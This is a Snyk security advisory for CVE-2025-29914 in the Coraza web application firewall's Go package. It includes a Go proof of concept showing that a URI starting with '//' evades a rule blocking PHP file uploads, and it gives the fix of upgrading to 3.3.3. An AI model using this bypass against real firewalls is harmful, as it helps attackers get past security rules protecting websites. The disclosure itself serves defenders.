Use of Incorrectly-Resolved Name or Reference Affecting github.com/corazawaf/coraza/v3/internal/corazawaf package, versions <3.3.3
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMCORAZAWAFCORAZAV3INTERNALCORAZAWAF-9510956
- published23 Mar 2025
- disclosed20 Mar 2025
- creditblotus
Introduced: 20 Mar 2025
CVE-2025-29914 (opens in a new tab)How to fix?
Upgrade github.com/corazawaf/coraza/v3/internal/corazawaf to version 3.3.3 or higher.
Overview
Affected versions of this package are vulnerable to Use of Incorrectly-Resolved Name or Reference when parsing URIs in ProcessURI(). An attacker can bypass security rules by sending URIs that starting with //. which lead to an incorrect setting of the REQUEST_FILENAME.
PoC
package main
import (
"fmt"
"net/url"
"os"
"github.com/corazawaf/coraza/v3"
)
const testRule = `
SecDebugLogLevel 9
SecDebugLog /dev/stdout
SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny"
`
func main() {
var testURL = "//bar/uploads/foo.php"
if os.Getenv("TEST_URL") != "" {
testURL = os.Getenv("TEST_URL")
}
fmt.Printf("Testing URL: %s\n", testURL)
config := coraza.NewWAFConfig().WithDirectives(testRule)
waf, err := coraza.NewWAF(config)
if err != nil {
panic(err)
}
tx := waf.NewTransaction()
tx.ProcessURI(testURL, "GET", "HTTP/1.1")
in := tx.ProcessRequestHeaders()
if in != nil {
fmt.Printf("%+v\n", in)
}
}